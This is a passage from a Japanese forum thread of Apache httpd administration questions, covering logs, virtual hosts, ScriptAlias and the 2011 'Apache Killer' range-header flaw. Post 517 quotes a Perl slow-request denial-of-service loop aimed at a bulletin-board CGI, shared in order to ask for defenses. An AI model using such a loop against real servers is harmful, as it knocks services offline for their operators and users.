11/01/23 18:47:18
質問です。
Apacheのaccess_logの見方についてですが、以下の304はなんと表現するのが正しいのでしょうか？
xxx.xxx.xxx.xxx - test [23/Jan/2011:18:16:15 +0900] "GET /test.css HTTP/1.1" 304 -
順番に
アクセスしてきた相手のIPアドレス
認証があった場合に使用されたユーザID
アクセスされたサーバ時刻
GETはリクエストヘッダー、GET方式での呼び出し
/test.cssはファイル名、
HTTP/1.1はプロトコルバージョン
304は・・・？？
よろしくお願いします。
442:名無しさん＠お腹いっぱい。
11/01/23 18:51:47
HTTPステータスコード
443:名無しさん＠お腹いっぱい。
11/01/23 18:54:14
もしかして304ってキャッシュ呼び出しですかね？
例えば304のかわりに200で後ろが-でなく数値があれば、リクエスト通って、実際に送出したデータ量(バイト)
という認識でOKですよね。自己解決しました
444:名無しさん＠お腹いっぱい。
11/01/23 18:57:13
なぜ規格書(RFC)にあたらないのだ? 死んだ曾々爺さんの遺言か?
445:名無しさん＠お腹いっぱい。
11/01/24 11:51:23
遺言のことよくご存知ですね。
そうなんですよ。
446:名無しさん＠お腹いっぱい。
11/02/11 12:16:18
grep MSIE access_log | sed -e 's/.*\(MSIE [0-9\.]*\).*/\1/' | sort | uniq -c | sort -rn
447:名無しさん＠お腹いっぱい。
11/03/17 18:20:00.70
自宅サーバで動的DNSをしていると
再起動したあとにIPアドレスが変わり名前と違うようになるみたいで
apacheが立ち上がったときに https だけがこけています。(httpはOK)
その後落ち着いてから apache を再起動すると https もうまく起動します。
これを最初から https もこけずに起動できるようにするにはどうすればよいでしょうか。
448:名無しさん＠お腹いっぱい。
11/03/17 18:35:59.29
ちょっと sleep してから上げる、とか。
449:名無しさん＠お腹いっぱい。
11/03/17 18:37:38.43
pppのリンクアップでrestartとかどーよ？
450:名無しさん＠お腹いっぱい。
11/03/17 18:52:24.06
ServerName書くだけで済むんじゃね。
451:名無しさん＠お腹いっぱい。
11/03/17 18:53:23.39
IPv4ならNATで内部用固定アドレスに向かわせて
Apacheはその固定アドレス:443をListenさせるとかｗ
IPv6はどう対処させようか。
サーバなのにtempaddrで運用するってのもアレだけどｗ
452:名無しさん＠お腹いっぱい。
11/03/17 18:54:54.93
笑うほどのことか？
453:447
11/03/17 19:07:02.36
ServerName をかくといけたようです。様々なアイデアありがとうございました!
454:名無しさん＠お腹いっぱい。
11/03/24 00:54:18.21
【2ch激論】ダム板が統合・廃止へ！人気スレ「また騙されてダム板に…」がなくなる？
ｽﾚﾘﾝｸ(river板)
455:名無しさん＠お腹いっぱい。
11/04/23 20:14:19.39
apache 1.3系の頃はBASIC認証の失敗時にも
ログにそのユーザ名が記録されていたんだけど
2.2系に変更したら失敗時は"-"と記録されるようになった。
2.2でも1.3のようにログすることってできないかな?
456:名無しさん＠お腹いっぱい。
11/04/25 01:52:04.73
>>455
マジで？そうだとすると、マニュアルに書いてあることが間違ってるね
URLﾘﾝｸ(httpd.apache.org)
>リモートユーザ (認証によるもの。ステータス (%s) が 401 のときは意味がないものである可能性がある)
457:名無しさん＠お腹いっぱい。
11/04/25 21:21:40.24
2.2.17 で試してみたけど、そんなことない。
ユーザにプロンプトが出る前に一回 401 が返るけどそのログと見間違えてる？
mod_log_config.c の log_remote_user を見ても、- になるのは NULL のときだよ。
458:名無しさん＠お腹いっぱい。
11/04/25 22:55:22.44
>>456
うん、マニュアルと一致しなくておかしいなぁ、と思ってた。
>>457
う～ん、なんでだろう。見間違いはないんだけよね。
でもうち以外では挙動が違うってのはうれしい情報。
もうちょっと調べてみる。
459:名無しさん＠お腹いっぱい。
11/05/10 12:06:13.87
質問させてください。
apacheのプロセス番号からアクセスしているURLを調べることってできますでしょうか？
ご教示いただけると幸いです。
460:名無しさん＠お腹いっぱい。
11/05/10 12:28:09.56
mod_status
461:名無しさん＠お腹いっぱい。
11/05/10 23:43:44.84
strace
462: 忍法帖【Lv=4,xxxP】
11/05/17 13:18:40.00
ErrorDocument 404 /usr/home/foo/bar/404.html
のように、ローカルの絶対パスで指定ってできないんでしょうか？
環境httpdバージョン2.2
463:名無しさん＠お腹いっぱい。
11/05/17 13:23:28.77
できるよ。
464:名無しさん＠お腹いっぱい。
11/05/17 13:24:02.24
あ、だめか。
URLﾘﾝｸ(httpd.apache.org)
465:名無しさん＠お腹いっぱい。
11/05/17 23:46:14.18
>>462
先に
Alias /404.html /usr/home/foo/bar/404.html
すればよくね？
466: 忍法帖【Lv=4,xxxP】
11/05/18 05:00:26.65
>>465
そうやるしかなさそうですね。ありがとございます。
467:名無しさん＠お腹いっぱい。
11/05/22 23:13:08.31
>>459
モジュール内部でgetpidとrequest_recみてやればいい。
468:名無しさん＠お腹いっぱい。
11/05/25 15:58:06.65
質問です。
マルチポストすみません。
以下の設定が前提です。
■ ディレクトリ構成（一部抜粋）
/var/www/hoge
/var/www/hoge/hage
/var/www/hoge/hage/hige
■ httpd.conf（一部抜粋）
DocumentRoot /var/www/html
Alias /hage /var/www/hoge/hage
<Directory "/var/www/hoge/hage">
SSLRequireSSL
ErrorDocument 403 "SSL Require -> https://"
AllowOverride All
Order allow,deny
Allow from all
</Directory>
【やりたいこと】
ディレクトリ /hage「だけ」に SSL をかけたいです。
【こまっていること】
上記設定ですと、/hage/hige にも SSL がかかってしまいます。
/hage にだけ SSL をかけることはできますでしょうか？
（そもそもの設定が間違っている可能性大ですが）
よろしくお願いいたします。
469:名無しさん＠お腹いっぱい。
11/05/25 16:04:36.04
マルチポストはしないでください。
470:名無しさん＠お腹いっぱい。
11/05/27 21:19:19.24
VirtualHostを複数立てて、どれのServerNameにもマッチしないときには
一番上に書いたものにマッチするそうですが、これを拒否する方法はありますか？
471:名無しさん＠お腹いっぱい。
11/05/27 21:34:58.88
一番上で拒否すればええやん
472:名無しさん＠お腹いっぱい。
11/05/31 11:34:45.66
/home/test/public_html/ ディレクトリと
/home/test/admin/test.cgi というファイルがあってこのtest.cgiを
実行させたいんですが、以下のようにすると client denied by server
configuration で動きません。
<VirtualHost 123.123.123.123:80>
DocumentRoot /home/test/public_html
ServerName www.test.com
ScriptAlias /ugoke/ "/home/test/admin/"
</VirtualHost>
/home/test/public_html/test.cgi に置くと問題なく動くんですが
ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか？
Apache1.3系だと上のような設定で動いているんですが・・・
今は2.0.64です。
473:名無しさん＠お腹いっぱい。
11/05/31 11:42:53.97
> ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか？
そんなことはない。注意事項がマニュアルに書いてある。
マニュアルも読まない奴はサーバー管理しちゃいけないというトラップ。
474:名無しさん＠お腹いっぱい。
11/05/31 12:38:12.94
ホントだ・・・ScriptAliasの箇所だけみてた。
ありがつ。
475:名無しさん＠お腹いっぱい。
11/06/02 20:11:56.10
microformatsのrel-tagを使うためにはapahceで何か設定が必要ですか？
ググっても何も出てこないよ
476: 忍法帖【Lv=3,xxxP】
11/06/03 15:35:07.41
age
477:名無しさん＠お腹いっぱい。
11/06/03 23:19:38.09
HTMLでそう書けばいいだけの話なのでApacheは関係してこないと思うが。
478:240
11/06/04 13:40:48.27
＿＿＿_
／ ＼
／ _ノ ヽ､_ ＼
／ oﾟ⌒ ⌒ﾟo ＼ 今日もまた、
| （__人__） | /usr/local/apache2/bin/apachctl start
＼ ｀ ⌒´ ／ を打ち間違える仕事が始まったお…
479:名無しさん＠お腹いっぱい。
11/06/04 21:06:20.75
>>477
HTMLで記述してもうまく動かないからサーバーの方に問題があるのかと思いまして・・・
480:名無しさん＠お腹いっぱい。
11/06/05 00:33:34.28
>>479のおつむに問題があるのは確かだな
481:名無しさん＠お腹いっぱい。
11/06/06 20:24:12.23
debianでapache2をインストール後間違ってapache2を削除してしまい、再度インストールしようとすると
｢Sub-process /usr/bin/dpkg returned an error code｣
と出てしまいます。
どうしたら再インストール出来るか教えてください。
482:名無しさん＠お腹いっぱい。
11/06/06 20:28:52.63
でびあんから再インストールすれば良いよ。
483:名無しさん＠お腹いっぱい。
11/06/06 20:41:33.54
>>482
1から設定しなおすのが大変なので他にないでしょうか?
484:名無しさん＠お腹いっぱい。
11/06/06 21:12:18.11
あるだろうけど、適切な場所で質問しなけりゃ解は得られないだろうね。
485:名無しさん＠お腹いっぱい。
11/06/06 23:00:39.10
たぶん479=481
486:名無しさん＠お腹いっぱい。
11/06/08 21:01:28.15
apacheとmod_wsgiでアプリケーションを動かしています。
ログイン情報などをsessionで保存しているのですが、これを一度クリアすることってできますか？
487:名無しさん＠お腹いっぱい。
11/06/10 06:07:56.31
>>481
その an error code がなんなのかわからないと答えようがないと思うが。
488:名無しさん＠お腹いっぱい。
11/06/10 11:27:48.64
Debian 限定の話は Debian スレへ。
489:名無しさん＠お腹いっぱい。
11/06/16 04:07:49.48
スレ違いかもしれませんがmod_Jkのフェイルオーバについて知っている方がいたら教えてください。
Webサーバ2台、APサーバ2台で構成しており、workers.propertiesは
以下のものがWebサーバ2台ともに入っています。
===
worker.list=wlb
worker.w1.type=ajp13
worker.w1.host=192.168.0.201
worker.w1.port=8009
worker.w1.redirect=w2
worker.w2.type=ajp13
worker.w2.host=192.168.0.202
worker.w2.port=8009
worker.w2.activation=disable
worker.wlb.type=lb
worker.wlb.balance_workers=w1,w2
worker.wlb.sticky_session=True
===
w1がダウンし続けた場合、mod_jkは定期的にw1にリクエストを送り、失敗したのちまたw2にフェイルオーバするという仕様になっているのでしょうか？
recovery_optionの設定も見たのですが、デフォルトが0ということでこの場合にどのような動作になるのかがわかりません。
環境は以下の通りです。
Fedora12
Apache2.2
mod_jk1.2.30
よろしくお願いいたします。
490:名無しさん＠お腹いっぱい。
11/06/22 22:02:32.13
mod_rpaf がダウンロードできなくなってるんだけど、
URLﾘﾝｸ(stderr.net)
誰かミラー知ってる人いませんか？
491:名無しさん＠お腹いっぱい。
11/06/24 18:13:00.70
見つからないね。
違ってると思うけど、mod_extract_forwarded ではダメ？・・・だよね
492:名無しさん＠お腹いっぱい。
11/06/24 18:50:42.93
みっけ
fURLﾘﾝｸ(ftp.freebsd.org)
493:名無しさん＠お腹いっぱい。
11/06/25 10:20:58.37
おー 頭いいな
494:名無しさん＠お腹いっぱい。
11/06/25 10:49:30.95
検索してたら ports の Makefile が引っかかったから、
どっかにあると思ってたけど 492 さんには本当に感謝。
自分も昨日から急遽 source が必要になったから焦ってた。
495:名無しさん＠お腹いっぱい。
11/07/04 18:37:48.03
mod_rewriteの設定数に上限はありますでしょうか
RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-d
RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f
RewriteRule ^/item/(.*)\.html /item/detail.php?id=$1 [P,QSA,NE,L]
このような設定がサイトごとに３つあり、１０サイト稼働しています
サイトを増やしたところ$1が空でした
ログを見ると条件にマッチしてましたが、$1が空になってしまうのです
他のサイトを一時的に消したところ、なぜか期待通りの動きになりました
apacheのバージョンは2.2.9です
何かお分かりになりますでしょうか
496:名無しさん＠お腹いっぱい。
11/07/04 19:33:55.08
mod_rewriteってのはそれ以外の手段がまったくない場合にかぎって
しかたなく使うのが許されるウンコであって、
それを通常運用としてしまうのはウンコ以下。
ウンコの限界を極めるウンコ仕事をするよりも、
ウンコを使わないで済むようにスクリプトの方を修正した方がいい。
具体的には、
AliasMatch ^/item/.*\.html /item/detail.php
として、呼ばれたURLから.*の部分を拾うようdetail.phpを書き換える。
497:名無しさん＠お腹いっぱい。
11/07/09 01:11:49.14
Apache2.2を使って、ホワイトリスト型のフォワードプロキシ
(事前に指定したサイトしかアクセスできないように設定)
を作ろうとしているのですが、設定が上手くいかないです。
下記、例としてyahooおよびgoogleのみアクセスを許可して、
それ以外のサイトをアクセス拒否させる目的で設定しましたが、
一番上のアクセス拒否の設定が優先されてしまうため、
全てのサイトへのアクセスが拒否されてしまいます。
●現在の設定例(一部抜粋)
<Proxy *>
Order deny,allow
Deny from all
</Proxy>
<Proxy URLﾘﾝｸ(www.yahoo.co.jp)
Order allow,deny
Allow from all
</Proxy>
<Proxy URLﾘﾝｸ(www.google.co.jp)
Order allow,deny
Allow from all
</Proxy>
上記、あて先がyahooとgoogleのみアクセス許可して、
それ以外のサイトへのアクセスを拒否したいのですが、
Apache2.2でそれを行う方法はあるのでしょうか？
（configの記載順による優先順位の問題でしょうか？）
上記、わかる方がいれば、教えていただけると助かります。
よろしくお願いいたします。
498:名無しさん＠お腹いっぱい。
11/07/23 18:08:53.11
ApacheのMPM改造したいんだけど。具体的には、バーチャルホストごとに帯域制御をしたい
参考になるサイトとかって無いかな。もしくは、やったことある人いる?
499:名無しさん＠お腹いっぱい。
11/07/24 00:56:01.27
ApacheってDos攻撃対策大丈夫なの?
500:名無しさん＠お腹いっぱい。
11/07/24 10:34:15.19
というと?
501:名無しさん＠お腹いっぱい。
11/07/24 11:36:01.87
Apache自身にやらせたいならmod-dosdetector
502:名無しさん＠お腹いっぱい。
11/07/24 12:44:00.71
ソースコード見る限り、mod_evasiveとかmod_dosdetectorとかだと弱いんだよ。
相手からのリクエストを読んでから、遮断するから。
相手が接続だけして、何もデータを送ってこないと接続数がふくれあがるはず。実験してないけど
しかも、遮断する前にスレッドなりプロセスなりを割り当てるから、リソースが無駄。
本来は、acceptした時点でIPアドレスがわかるわけだから、それを振り分ける前に遮断するべき
503:名無しさん＠お腹いっぱい。
11/07/24 13:08:54.97
それはファイヤーウォールの仕事では
504:名無しさん＠お腹いっぱい。
11/07/24 13:29:08.34
その手があったか。ありがとう
505:名無しさん＠お腹いっぱい。
11/07/24 14:18:19.69
URLﾘﾝｸ(httpd.apache.org)
506:名無しさん＠お腹いっぱい。
11/07/24 18:05:28.86
なんか無知な学生がレポート書きの手伝いを求めてるようなふいんきだな
507:名無しさん＠お腹いっぱい。
11/07/24 20:34:50.64
>>506
そんな感じですね。
ぼんやりしたやり取りがたまらないｗ
508:名無しさん＠お腹いっぱい。
11/07/25 00:12:09.07
うちは帯域制御はmod_cband
DoS対策はmod_security
CentOS5.x/Apache2.2.xで安定して使ってるよ
509:名無しさん＠お腹いっぱい。
11/07/25 00:22:08.76
たまに刺さってmod_cbandが発狂するので、一時間に一回再起動させて運用してるよ。。
なんか帯域カウンターが戻らなくて溜まってしまう感じ
510:名無しさん＠お腹いっぱい。
11/07/25 01:21:57.68
>>509
バグ報告すれば?それかソースコード自分で見れば?
モジュール単体なら、そんなに量多くないから分かるはず
>>505
URLﾘﾝｸ(d.hatena.ne.jp)
ここを参考mpmのソース見ると、ヘッダーを読み込んだあとにしかモジュールのフックをかけられない構造になってる。
だから、mpm改造しちゃえばできるんだけど。モジュール化の意味合いが薄まるから汚いかなって
511:名無しさん＠お腹いっぱい。
11/07/25 01:24:03.92
>>505
不完全なのは知ってのことなのか。世界の誰か頑張れよ
俺がもっといいmpm作ろうかな。性能がよければ有名になれるかなwww
512:名無しさん＠お腹いっぱい。
11/07/25 02:28:49.74
分離してうまく作れるんじゃないかとあれこれ試行錯誤するが
結局のところモジュール本体に改造を入れることって多いよね。。。
513:名無しさん＠お腹いっぱい。
11/07/25 03:15:04.58
>>511
だったら作って有名になってみればいいじゃんｗ
514:509
11/07/25 10:37:52.60
ソースは追いかけて何処の変数がインクリメントしっぱなしかは確認したけど
複数プロセスで共有してる奴で、どっかで突然死するプロセスが居ればさもありなんて感じ
発生頻度も週一くらいで、何台かで回してるサービスだし面倒
515:名無しさん＠お腹いっぱい。
11/07/25 11:56:14.21
2.4 に mod_ratelimit ってのが入るので、先取りしてバージョン上げちゃえ。
516:名無しさん＠お腹いっぱい。
11/08/04 07:37:37.77
449 忍法帖【Lv=40,xxxPT】 ◆8huU.uGZBA sage 2011/08/03(水) 15:02:01.85 ID:49.133.48.168 0
サーバへにリクエストが来た時、リクエストを受け取るまでhttpdは待っているわけだ
しかしcontentslength分だけ受け取りたいけど待てど暮らせど送ってこないから
httpd.confのtimeoutするまでそのhttpdプロセスがブロックされるんだな
そしてそれがたーくさんたまる、売り切れまで溜まる
売り切れたらそれ以降のhttpの要求は受け付けなくなる
攻撃がやんだらブロックされているhttpdは順次timeoutで開放され
だんだんいつもの状態に近づく
こうなんじゃないかな?
456 ◆IOT1IIO1ILUU-さる♪ sage 2011/08/03(水) 15:06:18.97 ID:219.106.108.87 0
>>449
大体はそんな感じです。
少し違うのは、Content-Lengthは関係ありません。
中途半端なHTTPリクエストであってもApacheが律儀にTCPのタイムアウトまでリソースを確保して待ってしまうのが原因なので、
それこそTCPで何か少しでもデータを送ってやれば、HTTPリクエストとして完全に破綻していてもApacheは落ちます。
なのでHTTPのヘッダに着目して対策するのは無理です。
517:名無しさん＠お腹いっぱい。
11/08/04 07:39:45.57
こんな感じなんだけどどうやったら対策できる？
攻撃元のスクリプトは以下
433 名無しさん＠お腹いっぱい。 sage 2011/08/03(水) 14:51:01.84 ID:81.94.203.180 0
スクリプト自体はマルチスレッドでBBS.CGIを叩くだけなんだよな
こんな感じで
my $ref = sub{
while(){
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
connect(SOCK, sockaddr_in("80", $ipaddr));
select(SOCK);
$|=1;
select(STDOUT);
print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
print SOCK "Accept: */*\r\n";
print SOCK "Referer: URLﾘﾝｸ($sv)" . "/news/\r\n";
print SOCK "Accept-Language: ja,en;q=0.5\r\n";
print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
print SOCK "Accept-Encoding: gzip, deflate\r\n";
print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
print SOCK "Host: $sv\r\n";
print SOCK "Content-Length: 1\r\n";
print SOCK "Connection: Keep-Alive\r\n";
print SOCK "\r\n";
close(SOCK);
threads->yield();
}
};
518:名無しさん＠お腹いっぱい。
11/08/04 10:17:16.26
slowloris 対策なら RequestReadTimeout で。
519:名無しさん＠お腹いっぱい。
11/08/04 10:38:02.85
>>518
ありがとう
520:名無しさん＠お腹いっぱい。
11/08/07 14:40:43.49
ブラウザでリクエストヘッダーに
Keep-Aliveの時間を指定した場合、どういう時間を指し示すのでしょうか？
Wikipediaを見ていてふと疑問に思いました。
Keepalive time is the duration between two keepalive transmissions in idle condition. TCP keepalive period is required to be configurable and by default is set to no less than 2 hours.
Keepalive interval is the duration between two successive keepalive retransmissions, if acknowledgement to the previous keepalive transmission is not received.
URLﾘﾝｸ(en.wikipedia.org)
521:名無しさん＠お腹いっぱい。
11/08/07 15:23:57.31
TCP keepaliveの説明を引用してくるバカがおる
522:名無しさん＠お腹いっぱい。
11/08/07 17:14:40.13
ﾌｲﾀｗ
523:名無しさん＠お腹いっぱい。
11/08/09 04:00:06.70
wgetで直アクセスすると404 Not Foundを返して来て、
telnetでアクセス(HEAD /some/foo/hoge.jpg HTTP/1.0)しても404を返してくるサーバがあります。
それなのに、chromeでアクセスすると画像が表示されます。
これってどういう設定なのでしょうか？
telnetやwgetでchromeと同じ結果を得るためには、どうアクセスするべきなのでしょうか？
524:509
11/08/09 10:40:40.07
UAとかホスト名指定とかじゃあ？
525:名無しさん＠お腹いっぱい。
11/08/10 03:24:02.30
Referer の制限かなあ。
Chrome で見えるって言うのは、画像の URI を直接指定して?
こちらの紳士達が詳しいかも↓
ｽﾚﾘﾝｸ(unix板)l50
526:名無しさん＠お腹いっぱい。
11/08/10 22:09:42.74
ホスト名やリファラによる制限はブラウザと関係ないし
ユーザエージェント制限の可能性があるけどその場合は404じゃんくて403だよね
527:名無しさん＠お腹いっぱい。
11/08/10 23:46:51.84
何を返してくるかは相手次第だろうに403と決めてかかるとかｗ
528:名無しさん＠お腹いっぱい。
11/08/11 00:04:53.56
403を404エラーとして返すサーバならそうだろうけど、わざわざそうする理由があるサーバということだよね？
529:名無しさん＠お腹いっぱい。
11/08/11 10:41:31.12
ErrorDocumentを指定していてその先で404にすげ替えるとか。
530:名無しさん＠お腹いっぱい。
11/08/11 12:15:38.68
>>528
軽い気持ちで404返してるかも知れないのにお前は何を言ってるんだ？
531:名無しさん＠お腹いっぱい。
11/08/11 13:36:22.24
528は恥ずかしくてつい恥の上塗りでしょ
532:名無しさん＠お腹いっぱい。
11/08/13 04:50:07.44
fc2とかリファラで404返してくるじゃん
533:名無しさん＠お腹いっぱい。
11/08/18 10:42:17.44
違うドメイン名へのアクセスをエラーにしたいんだけど
どう設定したらいいかな。
chinkoサーバに URLﾘﾝｸ(unko) というアクセスがあったとき
200でなく404とか適切なエラーを返したい
534:名無しさん＠お腹いっぱい。
11/08/18 10:43:51.16
VirtualHost
535:名無しさん＠お腹いっぱい。
11/08/18 18:25:43.83
Hostヘッダーを見てはじけばいい
536:名無しさん＠お腹いっぱい。
11/08/25 21:34:02.90
CVE-2011-3192
Range header DoS vulnerability Apache HTTPD 1.3/2.x
1) Use SetEnvIf or mod_rewrite to detect a large number of ranges and then
either ignore the Range: header or reject the request.
Option 1: (Apache 2.0 and 2.2)
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
# optional logging.
CustomLog logs/range-CVE-2011-3192.log common env=bad-range
対策してね。
537:名無しさん＠お腹いっぱい。
11/08/25 22:01:49.96
【ニュー速ハッカー部】Apacheの脆弱性を突く「Apache Killer」 お前らのサーバの危険が危ない
ｽﾚﾘﾝｸ(news板)
538:名無しさん＠お腹いっぱい。
11/08/25 23:31:09.77
赤帽パッチまだー( ﾟдﾟ)
URLﾘﾝｸ(bugzilla.redhat.com)
539:名無しさん＠お腹いっぱい。
11/08/26 10:04:21.25
お前らどころか2chが盛大に落とされたわけだが、他のサイトでは対策してあんのかな
540:名無しさん＠お腹いっぱい。
11/08/26 11:57:53.46
2chが盛大に落ちたんだから他の奴等はこれはヤバいwと気づいて対策するだろうよ。
問題は2chが落ちた原因が ApacheKillerだと認識されてるかどうかだが。
2ch来てない奴には通用しないかも。ニュース系サイトでの取扱い鈍いし。
541:名無しさん＠お腹いっぱい。
11/08/26 21:29:06.82
>>536
それ対策なってねーぞｗ
542:名無しさん＠お腹いっぱい。
11/08/26 22:36:22.12
Apache HTTPD Security ADVISORY
==============================
UPDATE 2
なんてのを用意中ぽいな
workaroundも修正されとるでぇ
URLﾘﾝｸ(mail-archives.apache.org)
543:名無しさん＠お腹いっぱい。
11/08/26 23:00:52.14
既にannounceに流れてた
URLﾘﾝｸ(mail-archives.apache.org)
ということで
>>536
はネタが古い
544:名無しさん＠お腹いっぱい。
11/08/26 23:50:02.78
WAは検証して使えなかったから、ソース待ち
お前らちゃんと検証しろよな
545:名無しさん＠お腹いっぱい。
11/08/27 09:17:11.02
>>543
あんまし困らないけどenv=bad-req-rangeの定義がないような気がする・・・。
SetEnvIf漏れ？
546:名無しさん＠お腹いっぱい。
11/08/27 09:59:14.61
httpd-devはヲチっとけ
547:名無しさん＠お腹いっぱい。
11/08/29 18:31:37.90
LoadModuleにある、mod_authxxxxxっていっぱいあるけど、
「使ってないぞコレ」と思ったらコメントアウトしてＯＫ？
なんか気を付けることがあったらおしえてください。
548:名無しさん＠お腹いっぱい。
11/08/29 18:50:36.98
まずはドキュメント読みなよ。
549:名無しさん＠お腹いっぱい。
11/08/29 19:00:03.08
>548
一応Apacheのところを読んではいるんですが、
「××する機能」とはあるんですが、止めたら何が問題か？は書いてないですよね？
ノウハウっぽいところがあるのかな？と。
550:名無しさん＠お腹いっぱい。
11/08/29 19:29:15.16
「××する機能」がいらないなら止めていいんじゃね。
551:名無しさん＠お腹いっぱい。
11/08/29 19:43:26.29
全部コメントアウトして、動くようになるまで追加する。
552:名無しさん＠お腹いっぱい。
11/08/29 19:46:34.21
モジュールのページを見ると
そのモジュールが提供するディレクティブ一覧が載ってる。
そのディレクティブを使ってなければたいていいらない。
553:名無しさん＠お腹いっぱい。
11/08/29 21:15:45.17
>550-552
大体そんな方針で良いみたいですね
ある程度最初からonにしてあるのは利便性のタメかな？
554:名無しさん＠お腹いっぱい。
11/08/29 23:02:41.02
ある程度というより、configure時にsharedで有効にしたものは全部onになってるぞ
555:名無しさん＠お腹いっぱい。
11/08/30 11:10:26.12
apacheを使い始めたばかりの者ですが、よく分からないことがあります。
apacheのドキュメントルート直下に/cgi-bin/という名前のフォルダを作ると、
Forbiddenとなってしまい、それ以下のファイルを参照することが出来なくなってしまいます。
直下に/cgi-bin/を配置するのではなく、/test/cgi-bin/というようにワンクッション置けば参照できるようになります。
これは正常な動作なのでしょうか？
また、これが正常な動作である場合、ドキュメントルート直下に/cgi-bin/というフォルダを置いても
Forbiddenにならないようにするにはどのように設定を変更すればよいのでしょうか？
教えていただきたいです。
556:名無しさん＠お腹いっぱい。
11/08/30 11:20:54.28
>>555
っ ScriptAlias
557:555
11/08/30 12:28:42.47
>>556
ありがとうございます。
つまり、ドキュメントルート直下に/cgi-bin/を作成すると、ScriptAliasの設定と競合する形になってしまうってことですかね？
それでScriptAliasの設定が優先されるので、自分で作成した/cgi-bin/はForbiddenになってしまうと。
あと、単純な質問になってしまいますが、そもそもScriptAliasの設定したディレクトリにcgiを置くメリットってなんなんでしょうか？
cgi自体をダウンロードされたり表示されないようにするためだと記してあるサイトが多いようですが、
ScriptAliasに置かなくてもcgiにアクセスしたら、結局はプログラムが実行された後の結果しか与えられないと考えていたのですが。
ScriptAliasで設定したディレクトリ以外に置かれたcgiというのは、その中身が簡単にみられてしまったりするのでしょうか？
558:名無しさん＠お腹いっぱい。
11/08/30 13:28:23.86
>>557
> つまり、ドキュメントルート直下に/cgi-bin/を作成すると、ScriptAliasの設定と競合する形になってしまうってことですかね？
ScriptAlias の指定が優先されてドキュメントルートの方の /cgi-bin/ は参照されない。
> あと、単純な質問になってしまいますが、そもそもScriptAliasの設定したディレクトリにcgiを置くメリットってなんなんでしょうか？
一ヶ所に集めておくと管理しやすい。
あやしいプログラムをユーザに勝手に置かれるのを防ぐ。
559:555
11/08/30 14:09:15.85
>>558
解説ありがとうございます。
>あやしいプログラムをユーザに勝手に置かれるのを防ぐ。
これはつまりセキュリティの事を考慮すると、cgiはScriptAliasで設定したディレクトリに置いた方がよいということですよね。
この質問とは別のことになりますが、例えばページの管理者だけが使用することを目的としたcgiを作成した場合、
ドキュメントルート下にhtaccessの設定でBasic認証を有効にしたディレクトリにそのcgiを置くよりも、
ScriptAliasで設定したディレクトリにそのcgiを置いた方がセキュリティ面では良いということになるのでしょうか？
560:名無しさん＠お腹いっぱい。
11/08/30 14:21:51.67
>>559
管理しきれるならどこに置いてもいいんじゃね。
あと、自分と同じディレクトリにデータファイルを作るようなプログラムがあった場合に
ScriptAlias 以下ならそのファイルを覗かれることがない、っていう利点もあるにはある。
副次的な効果だけど。
そんなプログラム作る方が悪いんだけど。
561:555
11/08/30 14:34:43.13
>>560
とりあえず、初心者なのでScriptAliasで設定したディレクトリにcgiを集めることにしてみます。
お答えくださってありがとうございました。
562:名無しさん＠お腹いっぱい。
11/08/30 14:46:50.14
URLﾘﾝｸ(httpd.apache.org)
563:名無しさん＠お腹いっぱい。
11/08/31 10:38:02.43
2.2.20
564:名無しさん＠お腹いっぱい。
11/08/31 11:02:44.56
早速上げたった。
テストは面倒だからしてない(･∀･)y‐┛~~
565:名無しさん＠お腹いっぱい。
11/08/31 14:52:22.61
1.3系使ってる人はどうするの？
まだまだ沢山いると思うんだけど...
566:名無しさん＠お腹いっぱい。
11/08/31 15:02:26.97
いいかげん 2.x に乗り換えれ。
567:名無しさん＠お腹いっぱい。
11/08/31 15:06:53.44
自分のサーバーなら2.2系使ってるんだけどね...
仕事先のだとなかなか...
568:名無しさん＠お腹いっぱい。
11/08/31 15:07:58.37
1.3系のパッチの予定はないのかな？
569:名無しさん＠お腹いっぱい。
11/08/31 17:54:52.56
ないよ。
570:名無しさん＠お腹いっぱい。
11/08/31 23:31:26.50
赤帽バッチまだー
>>538
571:名無しさん＠お腹いっぱい。
11/09/01 03:47:35.52
2.2.20速いぞ
572:名無しさん＠お腹いっぱい。
11/09/01 10:45:44.80
>>570
来たよ。
URLﾘﾝｸ(rhn.redhat.com)
573:名無しさん＠お腹いっぱい。
11/09/01 11:18:40.39
2.0系のパッチの予定はないのかな？
574:名無しさん＠お腹いっぱい。
11/09/01 11:40:51.42
自分でバックポートしれ そして配布しれ
575:名無しさん＠お腹いっぱい。
11/09/01 12:11:51.87
>>573
RHEL4.xのパッチをパクればOK
576:名無しさん＠お腹いっぱい。
11/09/01 12:29:35.32
2.0.x は出す
1.3.x は出さないと言ってた気がする
577:名無しさん＠お腹いっぱい。
11/09/01 12:39:32.05
早い対応、めでたし。
今回の脆弱性で実際に攻撃を受けたってサイトはあるの？
578:名無しさん＠お腹いっぱい。
11/09/01 13:12:44.86
>>577
2ch とか?
579:名無しさん＠お腹いっぱい。
11/09/01 13:15:49.58
>>574>>575
非公式な対応はいろいろあるけど、
公式に出ないのかな、と思って。
580:名無しさん＠お腹いっぱい。
11/09/01 14:41:38.01
URLﾘﾝｸ(ftp.redhat.com)
581:名無しさん＠お腹いっぱい。
11/09/01 14:43:16.08
>>580
とつぜんどうしたの。
582:名無しさん＠お腹いっぱい。
11/09/01 14:48:35.43
ｳﾌﾌ
583:名無しさん＠お腹いっぱい。
11/09/01 18:50:37.25
Apache Killerの件で
落としてみて報告してくれと無茶ぶりされて、
必死こいて頑張っていますが、
killapache.pl を使って、
1.3.xでは落ちません。
2.2.xでは落ちました。
変な話ですが、1.3.xで落とせた方はいらっしゃいますか？
584:名無しさん＠お腹いっぱい。
11/09/01 20:19:33.78
つまり1.3最強という事ですね。
585:名無しさん＠お腹いっぱい。
11/09/01 20:26:28.53
1.3はinetdモード使えるから今でも重宝してる
586:名無しさん＠お腹いっぱい。
11/09/01 20:35:48.51
>>585
なんでinetdモード使ってるの？
587:名無しさん＠お腹いっぱい。
